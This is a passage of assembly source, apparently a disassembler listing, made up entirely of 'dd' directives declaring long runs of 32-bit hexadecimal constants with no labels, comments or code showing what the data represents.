dd 953C7640h, 5520D214h, 0C1801CD5h, 7DF1C18Ah, 287AEF68h
dd 0CE8881C8h, 2DD35351h, 0B95AF9F0h, 0B7408390h, 10F9B75Dh
dd 43286805h, 0E6B874FFh, 0EBE6122Ah, 4DDE43FCh, 2B56C519h
dd 4760CEA5h, 61CB4186h, 0A9BD7A43h, 0CE61BFA4h, 8A3A69BAh
dd 8F425A7h, 0CE27EF9Fh, 0BC12D7B5h, 0CD4E150Dh, 5F2D787Ch
dd 6B65D62Eh, 0E9C72F54h, 2D01CC54h, 0ED793CACh, 0D35DDA5Bh
dd 0B06544E6h, 0C6C197A3h, 37572F70h, 950B1DF0h, 1E9E0398h
dd 936B9A3Eh, 0E320F490h, 0FB4643F2h, 0F05ACB6Ch, 1EC2DD71h
dd 0CC485968h, 119C25C5h, 0C5A163CEh, 2F887A3Eh, 0AA5400F8h
dd 335250Ch, 0E9277A63h, 579B09FFh, 1288E745h, 0C3310FAEh
dd 45500896h, 0D8D9E961h, 8500D339h, 4809CA72h, 25FC5240h
dd 0A7901A5Ch, 0CD656DB5h, 0F6EF44FBh, 0EFCAEB51h, 815E4F7Ch
dd 22535CD1h, 2A210B8h, 0B630B707h, 5BFE02AAh, 2809A1DEh
dd 0DB7B62C8h, 0B0E9C281h, 5D19E957h, 0EDCEB15h, 0A0882FE9h
dd 0A8C2E213h, 0DA62104Ah, 80598274h, 0D8FD72F1h, 80CBB520h
dd 3D93585Fh, 4AA7D83Eh, 0E9E7B7BCh, 0B7F8657Dh, 0F481F4C5h
dd 87A4FE0Bh, 48C5424h, 79C055CBh, 801EF6B7h, 0B8B44E7h
dd 801DCB3Bh, 0C1404107h, 0E252210Ch, 4078215Bh, 0F009D550h
dd 0D1E95D08h, 3C680725h, 4CDF0914h, 9DE09A9Ch, 7368F059h
dd 13FFF516h, 919BEFBCh, 0B323E90Ch, 214A5910h, 88B5F9ECh
dd 0EF48BDE1h, 2CF1D154h, 0D625E0E9h, 0E8E9D8D0h, 0C6210C41h
dd 268426B9h, 0EE012C74h, 81A2694h, 0EDAC551Ch, 60EB018h
dd 2D032E14h, 0E22AF25Bh, 1168A18Fh, 3BD4F33Fh, 0B6E6B7E9h
dd 0EFC105E6h, 959CB7ECh, 0D0042CCAh, 67C01EC1h, 0F92831B1h
dd 0B450075Bh, 8389B6A1h, 0CED858E6h, 14A75E9h, 5AFA57F4h
dd 0AE8744BAh, 0F80112A4h
dd 1AD3664h, 67C9536h, 0B8381AE6h, 63B2419h, 1110C10h
dd 41AF4CF1h, 1E782A40h, 77F759E9h, 1BDBBE03h, 0DEC835F8h
dd 514CEED1h, 4AAA3838h, 87EA77AFh, 0BFDCF4C1h, 1A193DF4h
dd 3A266C4Ch, 46045FFEh, 2DAE38E9h, 0E0A63BD6h, 5102804h
dd 2624B358h, 7B004151h, 0E90AB164h, 0D4BF4F16h, 268E8257h
dd 7525DE59h, 5CAF042Fh, 60CEB936h, 1EF681C8h, 9A7D277Fh
dd 6D20F952h, 4C23BDA7h, 0BA847C96h, 0EE9667F3h, 1D66CD2Ch
dd 12E779BFh, 0EB57BA31h, 9C0A7DBBh, 0D5E5F82Ch, 11E06912h
dd 3F50E254h, 7624FDA2h, 0F20465DDh, 3BB0FE9h, 0C0F780F9h
dd 0FE05EF88h, 0F9BC80A0h, 1E3F4A81h, 0B0F24B18h, 1EC2299Bh
dd 0E608695Fh, 0A571F62Fh, 3BFFD9FAh, 53D24DE3h, 8B21BB11h
dd 0F510AAE4h, 0E20E4E63h, 0C95E2D1Ch, 22FE827Ch, 0E6045E5Fh
dd 801890C0h, 20C63E6h, 0E9C626FEh, 2E9225FEh, 305CBF42h
dd 66535207h, 0D9B1B233h, 0F72FF4FDh, 605A7BE2h, 0FF5DD709h
dd 68594600h, 0AB9B5E1Fh, 9116619h, 0BDDEF02Bh, 0B54FC60Bh
dd 0D8E1A047h, 2FE9EFF5h, 0BAAE26C7h, 0CDF16CE9h, 1528B003h
dd 25CF7F25h, 58649792h, 0C9E971B7h, 0CCC26002h, 3B72F30Eh
dd 3FE918EFh, 0E16D81F1h, 37266739h, 2B36C0DAh, 892C14AEh
dd 0EC18AACBh, 0CF1296Bh, 60BA7413h, 2F8B4008h, 6E005078h
dd 517D6A6Bh, 5106853h, 5B097B27h, 518A8D1h, 3A179D9Bh
dd 57E032F8h, 0CE5F01E9h, 13D3EAEDh, 2038FEF8h, 0AED05542h
dd 0F557BAD3h, 0C2DEC225h, 0D0D25922h, 3C18817Eh, 70404D5Eh
dd 67E2F23h, 9A592240h, 0D8860382h, 0C2431609h, 3B8BB158h
dd 5619418Ah, 7D8605Bh, 0F5FB4865h, 0EECB432Fh, 40553AB9h
dd 69A2DEA3h, 0CF210C0Ah, 0BB018C59h, 1AFA7DEEh, 0EC5B8343h
dd 0B5FF2ACCh, 0CD875002h, 0B030F1DCh, 985A25A2h, 14D6F6C4h
dd 0BD37B475h, 0E2F61E20h, 0C52E8809h, 13060427h, 7F467E82h
dd 3097C07Ah, 0BDF55783h, 49597410h, 7FC330B5h, 0FED2584Fh
dd 93C4562Ch, 84F1FC5Bh, 359331D0h, 4AB8BAF9h, 0EDAC0331h
dd 0F7679030h, 0D644BF89h, 514A4DB2h, 0F07CE021h, 0E4EBB854h
dd 0A841FCCEh, 0D495802Eh, 97C4512h, 3B431A2Fh, 714BD937h
dd 4B4AD948h, 2A80894Eh, 7CFCD3E1h, 0BB7F0011h, 80EE8393h
dd 0C59FCB01h, 0E7078878h, 3C007D25h, 4B525CC2h, 64385A7Eh
dd 70F64E45h, 1DB6B91Dh, 0E1C14B19h, 0EB059CFCh, 81004C7Ch
dd 405073F6h, 1EFDA071h, 68C00934h, 0B08F129h, 0EED42508h
dd 12CFD3ADh, 68978054h, 65B5565Ch, 49D9A61Ch, 5F16E2DCh
dd 4A7504B8h, 252BEF3h, 10AD370Dh, 1C5A8400h, 0BD0E5B64h
dd 23A0041h, 0F0E94186h, 5292BFF3h, 30CF5F7Eh, 1AF73C2Dh
dd 0AEE88079h, 4B286A47h, 50AEAC5Bh, 7048DADh, 53E94C3Ah
dd 0FB3B17EAh, 4B7350DEh, 58F263E3h, 0CCAAEBDh, 51C9680Bh
dd 7E2464E6h, 5565C3CCh, 0EA0482h, 0CA0765BBh, 302E267Ah
dd 0DFB47370h, 0DEAB7E95h, 123D48ABh, 39EF5126h, 37B96FC1h
dd 0E5A7A818h, 2016F1CDh, 69E82F15h, 0ECF41396h, 4CADE346h
dd 0B99780A9h, 0FC1451C7h, 4E481715h, 450F48A9h, 3F0F2108h
dd 2BB9F087h, 422D478h, 0E03A8E40h, 0DB092DD7h, 4659523h
dd 7F38086h, 0A6573613h, 9A4410Eh, 0F70D8A70h, 5E96F9D7h
dd 6858D541h, 8C6B549Bh, 14BD0168h, 21E926C0h, 55D80C1h
dd 53D208E2h, 2DC80114h, 0C275107h, 0CC531B5h, 0A54003E9h
dd 27135635h, 652D0E2Ah, 5096F878h, 68C0B7A6h, 29542EB4h
dd 8AEEC09Dh, 1D6F2D46h, 62F70FD8h, 25575826h, 9C712231h
dd 3194FDE6h, 0A00D1B20h, 9EBA77F1h, 86698850h, 5376806h
dd 63C7240Bh, 79E962C5h, 0D055F96Ah, 74ED4CB4h, 0EE498217h
dd 813A2C4h, 8F0A1004h, 31ADBF00h, 0C19774DEh, 14F94FC2h
dd 75FDA87Ah, 0B3E6DBDh, 62E867E9h, 776FF8F3h, 1B2D6504h
dd 2F681F2Ch, 159876AFh, 0D9301D7Ch, 338CAE2Eh, 0E62176CDh
dd 4F3A12F3h, 4EA7B80Ch, 0F71687BCh, 0A1FC12DDh, 0CB616F57h
dd 8B7B81F4h, 68AB610Fh, 172618DAh, 1370A210h, 0EEF0FEE9h
dd 0A75EB75Ch, 7404C624h, 0E1820220h, 8222D44Ah, 53DD2EA3h
dd 0BB7C307Fh, 7BDFC5Eh, 0F1E38115h, 0C1CEDE56h, 703CDh
dd 0BE04728Fh, 34A8FCA1h, 0EFB03144h, 4478392Dh, 89555A60h
dd 21C23B18h, 6E71CABDh, 25717482h, 2FAC1B93h, 0FEBD0708h
dd 0AEC66476h, 0D4E31499h, 0A50A0C58h, 0F64CC925h, 0C46E0B95h
dd 0AA092616h, 7F591B5Eh, 0AE62222Eh, 9F5840Bh, 3CEEF76Eh
dd 0A34AE970h, 64C414B8h, 97B81652h, 0CD0C0F48h, 0D63CFA2Ah
dd 0CE8102A0h, 0B4110505h, 0E5BB4E6Ch, 598B306Ch, 575A74B4h
dd 16622AF9h, 5B195DD0h, 0FD7FA580h, 3AC84FBCh, 9CAC1DDDh
dd 5868ED2Ch, 532F081Ah, 0C03D6249h, 5E8E547Eh, 72C5A0ACh
dd 29415F1Dh, 882A9A8h, 0BF1ECCF4h, 600E960Bh, 9FE6D1B6h
dd 0DEF449h, 4B29E46Bh, 7FC54B69h, 0DE2D0BC0h, 3B5C4E07h
dd 0D5F2E405h, 43455109h, 0F68D1068h, 4C4909A7h, 15ED0267h
dd 0C66D0CD2h, 0C38AD002h, 0DEF531D9h, 387570F0h, 0B1137A24h
dd 0A1684502h, 8B1FD934h, 4C4554Fh, 2C862C8h, 301C3BFh
dd 5F1F8E0h, 0D78018BDh, 0C7189D13h, 260287C7h, 0F9315168h
dd 4E40DD5Fh, 0F1B5D79Ah, 0B87FA741h, 84B850D4h, 8C46E918h
dd 7D415D7Bh, 81589D54h, 2514BEA0h, 0FF291D2Dh, 6272F020h
dd 1F51633h, 9389B0D5h, 0DD0006E6h, 46AD6BDCh, 58B05097h
dd 0DB209652h, 2B326814h, 0E3B3CFB1h, 507EBC0h, 0E3800606h
dd 5D0EFE26h, 0F8C5E19Ch, 0EDF0CDFEh, 0FCE91287h, 0A6C2AD63h
dd 59580008h, 0CA685155h, 135AEF38h, 4B73BC55h, 0C04BC23Ah
dd 1BBF57BEh, 3CE46E0Fh, 48E32647h, 0BCEB0533h, 0F937D562h
dd 2D08418Ch, 89902D2Ah, 0A52B5F19h, 98918DD8h, 6BB8F5A7h
dd 6825D5F7h, 6848DE12h, 2568C812h, 0C9208D16h, 2D697CBh
dd 0A34942h, 0E3D1DBF7h, 1480BAC1h, 0E56166F6h, 0C57AA5B4h
dd 85DD8011h, 0E5EE4D4Bh, 257B0F13h, 3FF070F0h, 1257993h
dd 310EF409h, 0AB6E1EA0h, 0B90F517Dh, 0B334069Fh, 57964901h
dd 9520442Fh, 7407164Ah, 99D50A69h, 70FC40E0h, 79B82342h
dd 8ABC1F0h, 9ADBA2CCh, 0FC482F7h, 0EEABE9F0h, 177532DDh
dd 0AC143C40h, 49157BC3h, 0B8016817h, 38C95DFCh, 0B0A4EC55h
dd 5BDD4FC0h, 780D5F6h, 0EDC00FCDh, 30606E05h, 47E9E828h
dd 0B87507BDh, 2B875890h, 0C918CFD1h, 29BD0270h, 0C012DE4Eh
dd 4A6BCAA5h, 8D4CA069h, 95435913h, 0A4B187AAh, 0F5EAB427h
dd 0EB690A02h, 0FFCD8703h, 0ECC98FAh, 7E722045h, 6F4048A8h
dd 0B893CB27h, 5D3CBE2Dh, 5B542910h, 0D8CA029Eh, 0ED94772Dh
dd 49386817h, 6C0D6FCh, 0E9E4B151h, 0FA79A027h, 24037859h
dd 0BED423DEh, 1326D9CCh, 0BE7D12E3h, 35BF4464h, 7DC1ADB1h
dd 6F3A7CB5h, 2F095489h, 8641F143h, 17AE26D2h, 1E607B03h
dd 245F7AD0h, 70F595Ch, 194F1692h, 47C144E1h, 8561CE9Bh
dd 7001A20Ch, 69B1022h, 1528B9E0h, 68360978h, 987D488Bh
dd 28320946h, 79A3DB8h, 9C6CD2EFh, 2815C244h, 349DE479h
dd 2DEA5B78h, 0A9C6FC74h, 0EE816296h, 0F4499C8h, 2DBD6F1h
dd 2577F69Dh, 0BF607C89h, 0E1257412h, 0A0A05E70h, 40E91808h
dd 96F533AFh, 6A3B3612h, 30CD980Ah, 16D73E82h, 0E104573Dh
dd 2D9AD20h, 561A10F2h
dd 97F17492h, 0E14B33C1h, 177066F8h, 0E299E927h, 608FD4E6h
dd 9F71F8C8h, 0AD404EFEh, 0E180BBAh, 0CBF558A8h, 14AE798Eh
dd 8BEBD9BFh, 68079020h, 6C1A1536h, 81710A2h, 2BB709F6h
dd 0BF549E55h, 0D7628359h, 4916F709h, 756B629Ch, 0E9B03664h
dd 0B2474002h, 0C895E90Ah, 0C69BE8Ah, 0B8083C2Dh, 0B4280BEEh
dd 0F7649631h, 92AC66B1h, 0A0BD84h, 351E8A2Dh, 0D031397Dh
dd 4A08C230h, 9202D2F7h, 455F780Dh, 4DCB401Dh, 319695C1h
dd 5A3D5B48h, 7C4C3FF7h, 5055C25Eh, 562F8295h, 0C7597ACFh
dd 7F5C6884h, 290A30AAh, 674A7763h, 8F4F67FBh, 5A8E392h
dd 22C377E4h, 7444081Eh, 0ACB965A5h, 275E5506h, 44ECD80Dh
dd 0DD32A425h, 0EE5B6605h, 680BFFE3h, 0EC591FF7h, 6D51DE84h
dd 0D4957C82h, 5350164Bh, 39CFBFB7h, 0B5E87B7Ah, 0BD6A4D51h
dd 0DD34F52Fh, 0DA66E912h, 3424DBEEh, 0F4045566h, 68029FC9h
dd 9FB14718h, 61E83A33h, 0A45F4EC1h, 86834301h, 7B3EDFB1h
dd 0F30290B8h, 12300F0Ch, 5C20F2Fh, 71802D4Bh, 5C5258B3h
dd 0D5517966h, 1C8B0801h, 0E9612C6Ah, 4E48A34Dh, 0C5739899h
dd 0F265B716h, 0D2B4804Fh, 0CB9183E9h, 22D5E815h, 0BCDC389h
dd 74E10057h, 5AF7317Eh, 2452BFD7h, 0CB0A67BCh, 0DD7EA14h
dd 31186D77h, 5A6307Dh, 74F9D49h, 0EE23E87h, 5DB88EA5h
dd 396EB902h, 0E2DF067Dh, 8F7955A1h, 12EBD945h, 70EF254h
dd 3370236Ch, 3A858DE6h, 449E3ABAh, 0F025931Ch, 0CA1E30D4h
dd 2748D9F6h, 0C95E1F9Bh, 622750C5h, 535922CBh, 0C26FC05Dh
dd 5E0A5C01h, 83A15551h, 9ED308F6h, 27097027h, 0C6545BF2h
dd 0F1FAC00Bh, 8711424Bh, 49A82409h, 0EB0288A9h, 96D08B9Ch
dd 0A03E9476h, 0F8891EDDh, 0B3F30C57h, 44972110h, 9018C7F2h
dd 0C65F0BACh, 9EA1ED99h, 0EE80AD93h, 56254B41h, 891DDCA1h
dd 75FB09E9h, 76B52A96h, 79D62D5Ch, 50277C7Ah, 0EB09F781h
dd 2B0672h, 7F771907h, 175B015h, 632647EAh, 47E64E9h, 8A809004h
dd 38C8DED6h, 0EC5F382Dh, 5652B010h, 34860B68h, 8F7835A9h
dd 890F8465h, 0D5D873BFh, 64F0138Ch, 7B691099h, 4AA10B31h
dd 63987D4h, 0AD38F749h, 470B34BDh, 204D69E2h, 68E0E553h
dd 7E809FD2h, 53B03DF0h, 893B659Fh, 0D0527F3Ch, 4F1FE0B5h
dd 0A81B4B11h, 0A5DE6225h, 0E821031Ch, 1AFA05C8h, 2D319002h
dd 0DF7235F3h, 25B099E0h, 0E92BAB05h, 94217D89h, 0CC7F8FEDh
dd 0EF32B0A3h, 7AAEEA51h, 0F805202Fh, 1B4582BDh, 5B680107h
dd 0E86FE532h, 73917338h, 0F117560Bh, 42782DCEh, 0ED3D2F0Fh
dd 0A596E576h, 7A5579BFh, 6E7A2521h, 0C0D9B503h, 7150FEEDh
dd 171DC53Ch, 0EE03E5h, 0F52820E1h, 0EC7013E9h, 7A1C7E97h
dd 0B0BF92D2h, 829C3DB6h, 0E89D5C86h, 0BD718F4h, 3F5BD9EFh
dd 0E386128h, 0E941841Ah, 0A882A9EAh, 2567BD51h, 0A9DE850Bh
dd 0DAE5DD7Fh, 516EF4C2h, 0D21B9475h, 0C8FE0905h, 0A3986C0h
dd 284C9BE6h, 0CE800E9Bh, 7CF66750h, 0AEA2F395h, 0D833E0C4h
dd 83BF3BDDh, 0FB16B9DAh, 0AC80DCF8h, 5A88556Fh, 12A9D465h
dd 6802BE08h, 0F8672D72h, 0B61D30A6h, 7E7C140h, 9CCC2CC1h
dd 0C53BB1E0h, 0C405E8D4h, 0B80FCECBh, 14503522h, 20D8965Fh
dd 1613010h, 580F0540h, 0A62F61E9h, 0A1E90B90h, 0C1B39C53h
dd 0D05DFA2h, 0FA25CC26h, 88D9F232h, 0C90ED158h, 0B976C284h
dd 2D538D6Ah, 0B71E75F8h, 62909B46h, 5E27F84Bh, 5556D332h
dd 57A8535Ch, 8980083Bh, 0BDDF6C3h, 8C06D55Ch, 0C0120622h
dd 0AAE00EE9h, 97E4B558h, 0F0190097h, 0F02D1807h, 0A7049547h
dd 0D42909F4h, 68E97826h, 0DEF638E3h, 7DB0A657h, 494677B1h
dd 0B903E821h, 3DAD657Bh, 0DCA24CD2h, 0E07D015Eh, 618766h
dd 0F5814899h, 605B3C29h, 5088E927h, 675E4983h, 0A0EE7C6h
dd 0C0B70F09h, 6F1E0466h, 758380E8h, 0AF8CFF9Bh, 20E9A93Ch
dd 68259E63h, 0C0E99BCCh, 4F1B7606h, 0A535AA36h, 0CBEC04EEh
dd 0E194EFFCh, 0E970D0FAh, 67B494EAh, 68629060h, 0C1894F47h
dd 24ADC007h, 702E053h, 9BBD4D05h, 0B178D519h, 0BCA01626h
dd 5DB7D1C2h, 25BDFF79h, 48E6E4E5h, 0A63A9358h, 90780310h
dd 0DDB34A08h, 871BB4D3h, 0DE31C540h, 54C40928h, 0B281C9FCh
dd 0BEC18078h, 2FE0069Ch, 0EF3A68F6h, 5A666506h, 0F62C2FC6h
dd 71765E99h, 7EC80FB9h, 0BBA592A2h, 0F7505449h, 0E924051Eh
dd 0DCA71217h, 4E082DC1h, 2EC404AFh, 5102BBB8h, 0C0BA77E3h
dd 8357D927h, 9A7662E7h, 0CA59525Dh, 8BB689EFh, 33D5CF98h
dd 0D7A6CAD0h, 83695CD1h, 859D6547h, 85BFF6BBh, 71FA59E9h
dd 9E6DE33Bh, 4F38EAC7h, 8FCD54BBh, 0EEDC404Eh, 52F72B4Dh
dd 68250176h, 0C0917EBCh, 15461F50h, 19E5C95h, 0B84ECBFDh
dd 2EE7C1E9h, 9C419641h, 0C12A49D3h, 70505FF0h, 209DEB05h
dd 0ED4FD0F6h, 0E6810220h, 2EB91BFDh, 6E3340D7h, 0AA40E373h
dd 2FFA479Bh, 0FB5E4E2Ch, 15A084C7h, 4EDFE909h, 7A449996h
dd 171C0B8Ch, 9D602F12h, 0E90601E2h, 0D2167B29h, 7C3B74F1h
dd 0BC5BFA4Ch, 2D21BDC8h, 0BFDCC07h, 2735CB55h, 72D96154h
dd 0E90CB825h, 2A4E417Dh, 0E44F24CBh, 8354E9D4h, 26EF5FD6h
dd 0F38C36B9h, 98E3EE84h, 504F5AE8h, 2A7D08B1h, 181479B9h
dd 0CA276B4h, 6137DF1h, 0CFEC613Eh, 0A9590885h, 0B358A8Ch
dd 8BFF0C97h, 42BE2F02h, 4EE79C44h, 5CC709C4h, 4A3B61DBh
dd 0BC4EB8E8h, 96EC5B89h, 0AC2105B4h, 0E196BCF6h, 5060D821h
dd 0FD7BE5E8h, 6D56CCB1h, 0BD16FF7h, 26F031A7h, 530908C6h
dd 1A121368h, 7D80C069h, 7EE52F4Dh, 7C199347h, 0B16A891Fh
dd 0AD6238DCh, 5F072564h, 8B0DF25Eh, 0C01B765Bh, 88513DB2h
dd 0EB4BD572h, 0E32768CBh, 2B5419E1h, 400655C8h, 0D17B8831h
dd 85D971C4h, 59CEBB00h, 5998A6F8h, 4BE8324Eh, 45345C4h
dd 0C0BFEED1h, 0D2E54E97h, 34E7697Eh, 0E046852h, 8B564338h
dd 30C467BCh, 3BADA5C8h, 0A4ABB635h, 26276844h, 4F77E661h
dd 42260ADBh, 60A51A88h, 0F48832DFh, 7A49BDDCh, 4714BD04h
dd 6BE7C106h, 39FF6DD3h, 5B4597E3h, 0FA5F52A8h, 75AD7440h
dd 4D4FE9E4h, 0BD02CEA4h, 19B4CEC2h, 54B809D7h, 7EDC2708h
dd 6A23F681h, 226065AFh, 25E697A2h, 983F4F20h, 41FF030Eh
dd 0DFF7F987h, 0A457082Eh, 4E3BBB00h, 0AA26E96Eh, 4275C187h
dd 290F4878h, 0F0CB5AD7h, 9F83090h, 0E1BDDD25h, 0EC7B89E5h
dd 2FA0B61Dh, 6A50F021h, 98AE949Dh, 0F071970Dh, 0DDBB8FC7h
dd 3834F745h, 68C04DE2h, 2C5F50B1h, 0E2005A7Fh, 29BB0863h
dd 9EF75242h, 0F849935Eh, 6D60E98Eh, 9DFAA644h, 424A76E0h
dd 953E758Ah, 286551B7h, 70A12732h, 6CBEAEE4h, 0D3A2903Dh
dd 4683B4Ch, 77D01F2h, 3F09416Eh, 744C8BD0h, 0C766084h
dd 1AB03DD2h, 9BD1012Eh, 8ABA52C0h, 0F9D2E07h, 6D8A3AA1h
dd 2EE025Eh, 280142B6h, 68618DD5h, 56243AE3h, 0E96ADF82h
dd 0FAA76FEFh, 93247257h, 20B91C57h, 0A8C163AEh, 19DB7951h
dd 476567Ah, 18DE5201h, 0B5951ADCh, 0B420B415h, 58FF520h
dd 6619ACBEh, 0C5E0FF10h, 2FC0944Dh, 7697CCD0h, 75541335h
dd 12A3008Fh, 0E90A8A2Eh, 4E77CD31h, 9D3F5F54h, 0BC543052h
dd 62833FBCh, 0D9EEB07Ah, 24928061h, 4181E05Bh, 0FE92B141h
dd 9DC0915h, 0ED519B78h, 0EAE50408h, 0B099B7A7h, 382E6A42h
dd 25AF34Bh
dd 746909BBh, 5B58603h, 0E501970Dh, 63FFB1E9h, 76F405D9h
dd 8AB22C55h, 0BA841F5Ah, 2092365Bh, 0D25AA2B4h, 110162B2h
dd 0BA7C3DE9h, 65FF0912h, 3ED1FE65h, 84C36832h, 0E5E9395Eh
dd 0E9902296h, 0DCD8172Fh, 0ADEF5026h, 95D526BDh, 3E514820h
dd 0F9DFC115h, 3088D25Ah, 0B6A1D950h, 0EB8C7A57h, 44F95AE9h
dd 8D43505Dh, 169B00CCh, 94B8AB2Dh, 8208ED3Fh, 0E5E936D8h
dd 0C0E57D6Eh, 0F5493E3Fh, 5E1C114h, 15C52681h, 0B4D6B19Fh
dd 59CCFC01h, 0E97AD4F6h, 42D3E44h, 48192532h, 0FD22CEFh
dd 1266127h, 34672BA5h, 6EF8E9E4h, 0CCC4E3A8h, 0B630AA55h
dd 4720AF7h, 0DF6842BAh, 3879CF75h, 0F7A12DE9h, 0C36AD0A2h
dd 9DFCA472h, 5B1AD664h, 63D13E2h, 0F4ECB85Eh, 8B52CACh
dd 4916C694h, 96B03AF8h, 38099018h, 0F25EF109h, 1AE303D9h
dd 58513BDBh, 46BEDE10h, 45AA6802h, 0F15711B2h, 0F46E971Dh
dd 0FCE1F598h, 0C29743DBh, 7D9B4A37h, 0EBAB8F47h, 51B40517h
dd 0F2D84C01h, 0BECE004Bh, 339F5969h, 0B3AAD0F4h, 0B77AD057h
dd 108522E8h, 9FC82980h, 572461C3h, 0BF122D4Eh, 5B14D2AEh
dd 69A055FAh, 8180C23Ch, 0F47579CFh, 7DDEA011h, 14CB3069h
dd 6A0F9A0Ch, 0F2C0094Fh, 7DBC0520h, 2CE10F5Eh, 9B34E93Ch
dd 0C2AA2A74h, 60C57BDEh, 81BAABE4h, 0C15AB123h, 310B2CE8h
dd 358658C7h, 749720E2h, 0DD17BDFDh, 57B3A4B5h, 9F91BF3Fh
dd 9C562FFFh, 0E5E7CDBFh, 0FE8F50FAh, 0F32D80C3h, 0EF25417h
dd 0E962FD30h, 9BFC3405h, 0E1C0C985h, 9E710DFFh, 8852EC06h
dd 0F435CE72h, 262E545Ah, 342CFF4Eh, 98E37288h, 93FF1E9h
dd 0A9D7BA37h, 4F47D418h, 9F8D4EBh, 5336F697h, 1DC2DAD4h
dd 95F499E9h, 94092DA9h, 4C0E7106h, 0FF276068h, 0E086E322h
dd 0B109F7A9h, 1158AE7Ch, 388A0B26h, 11FFD8F7h, 1D3E85Bh
dd 0D7050306h, 68DED11Ah, 0D3680B40h, 60165616h, 72232B13h
dd 0A913F0BFh, 39684857h, 0D1CEBF03h, 0AA05519Bh, 64A0755Ch
dd 56734BC0h, 74557513h, 2F489D2Ah, 0A5095DEDh, 0F5297Ch
dd 77FDE52Bh, 0E94916ECh, 0F7FC8114h, 415720D7h, 81971954h
dd 4C7F612h, 0FC5947FEh, 16D4BB7Dh, 78600F0Ah, 0B7740A7h
dd 418782D4h, 0A92530F7h, 0A60DD40h, 0BC011384h, 92D19574h
dd 50C68389h, 6C50B44h, 41339h, 92EBE25Bh, 0E97988ABh
dd 1865AB30h, 2A68D586h, 3D464134h, 3968F3B4h, 0B8060CEDh
dd 2A04ED51h, 5E367465h, 4C6BB2ABh, 7DFE4B94h, 0C7A53124h
dd 76EF795Ah, 43A40761h, 7574F330h, 2E2DE7C5h, 48084CFAh
dd 0A3F22508h, 0A319E917h, 0BE459491h, 429BA2Ah, 1200E36Ah
dd 6E8F22AAh, 0B33CB849h, 9F5178F3h, 77C7B300h, 4476F530h
dd 12FAE75Ch, 36EB5260h, 4BA0EEE1h, 314A1220h, 35E9CF2Ch
dd 882CDCEAh, 3B420B7h, 0D595CF22h, 0DD5B581Ch, 775B0809h
dd 62200946h, 505E27C1h, 0E958CF5Ch, 91BD4A2Fh, 7822E52Fh
dd 1FA8C706h, 6AC5F509h, 0CB2F6A89h, 61D4E0FBh, 274B7C02h
dd 0DDF60446h, 2C41ECC2h, 1FF252EEh, 1CF40E17h, 0F2482CABh
dd 1A0C5809h, 7D680157h, 8C70381Fh, 3F1D16C6h, 9ED706E3h
dd 0F1042F01h, 93EB9947h, 0D81256F8h, 97A2A803h, 256664CCh
dd 9CDDE9F7h, 0EEB420A9h, 0F9C28102h, 0DD0ADC72h, 0B556BC02h
dd 57446054h, 0D34F8AFEh, 34FD5C05h, 0A496DDB2h, 580555DFh
dd 0FD3138D6h, 841A7A83h, 0C9EDA3BBh, 445B055Ch, 0E161B934h
dd 0BD81B8F7h, 4CE32FC1h, 6AD9E925h, 693A0A43h, 0E905D4D7h
dd 0C0DDD4A9h, 0EC05E64Bh, 0FA98445Eh, 53BC4045h, 0AD205477h
dd 376AE9CDh, 64A9EF70h, 687F2242h, 6CC5F9h, 5AD9388h
dd 6BB4063Ah, 0B2A629Dh, 5EC67707h, 759F6813h, 576EC5CDh
dd 85C5BF22h, 750E9ABAh, 0B90A8E60h, 60C776EAh, 6CE6EA7Fh
dd 5B616F7h, 5801C23h, 75DD1012h, 2DD02801h, 18309507h
dd 172447C2h, 0D9169F15h, 0B7972BF8h, 77A1D69Ah, 4EA0FD05h
dd 6830ED29h, 76974C5Fh, 17F5D2A7h, 0BC807366h, 7D82D1DEh
dd 394CF800h, 0BEBAC176h, 9E50505h, 1FAA5E6Fh, 0C8BEF39h
dd 0FB73E7D9h, 0E96909E8h, 1720C31Fh, 7F6544EEh, 670C7B63h
dd 0C02BF260h, 19ED548h, 0F221975Bh, 3E77C1E9h, 1CAF0B56h
dd 40AB05C7h, 3F8FEB5Fh, 0E5DBE916h, 69AE2A92h, 571160C1h
dd 0A210BF43h, 2916603Bh, 0F667A173h, 0FE9940CFh, 0D7F6C716h
dd 84283D32h, 31BB8ABAh, 0A2334h, 165F2DADh, 12634155h
dd 73B7E8F0h, 72028CEEh, 0C54628BFh, 0F560556Eh, 96F32D68h
dd 1E84D087h, 447C8AAh, 5F55A13Eh, 0D2FE76C1h, 1C025903h
dd 6856A453h, 0D4D70289h, 2583EAF6h, 0A8701FE4h, 718112Dh
dd 0B3055575h, 302B390Eh, 8850B6E0h, 3AC0D85Ch, 5BF992C7h
dd 17B49BEFh, 64A172E9h, 0B3B0EA62h, 0DE2D0835h, 0CE6F65Bh
dd 0E5DDD7A2h, 0D2250378h, 9390DFDCh, 621699EDh, 92FC3104h
dd 0C9FAE05Bh, 0E589ABC2h, 43CD6051h, 9C625038h, 0E90BC247h
dd 49C4C0F2h, 4A249320h, 7A45A92Dh, 0F5886B2Ch, 0DC6DE0A5h
dd 12193E57h, 67D1A193h, 0A2862505h, 307D5896h, 0FA01DB40h
dd 5A1A1889h, 499B9A5Bh, 0B2DFBF83h, 9FB1D0F8h, 61E01108h
dd 0B027FA04h, 0C64252A2h, 0EC545B4Fh, 74450423h, 2BC00B94h
dd 9B35F8Eh, 9D27E960h, 2A0725D5h, 0B80044A3h, 428C0A95h
dd 14022805h, 2CE91C2Eh, 1E25716Fh, 9C254B56h, 19F34877h
dd 53200F5Fh, 0C8C9FE31h, 0F381EF60h, 287B663Bh, 855CB505h
dd 0D33E626Ch, 4A66D572h, 0F6EA099h, 750C69E8h, 34C2D736h
dd 0B00C4E68h, 82CEF7B9h, 747F6AD7h, 80C95817h, 0FE042FF6h
dd 9EA7E9C4h, 0CA1279F2h, 1AE9F879h, 5518F2A4h, 6885D367h
dd 0C9442A01h, 590B5EBCh, 0EED62904h, 0C8424B2h, 0FCDDBB1Dh
dd 0F839356Bh, 203A48B5h, 0F14F5BD2h, 0CDD2E789h, 1E38D2C4h
dd 0F057BD46h, 0E0397D60h, 0B549AC68h, 46461D1Ah, 98746C2Dh
dd 3E296B2Bh, 1D93012Fh, 0E14489FFh, 4E9A7803h, 60BA79FEh
dd 0EEB780D4h, 52B0F665h, 0F31828AFh, 69A3FD06h, 936371BCh
dd 0A8415EC6h, 28C99EAAh, 6F71DC12h, 0B25FD73Eh, 0D08A865Dh
dd 3A02A969h, 0BD54D224h, 5844A773h, 2867338Bh, 602C3293h
dd 46665140h, 0AFB644E8h, 1C106804h, 0D2C473BCh, 0BC31FB9Ah
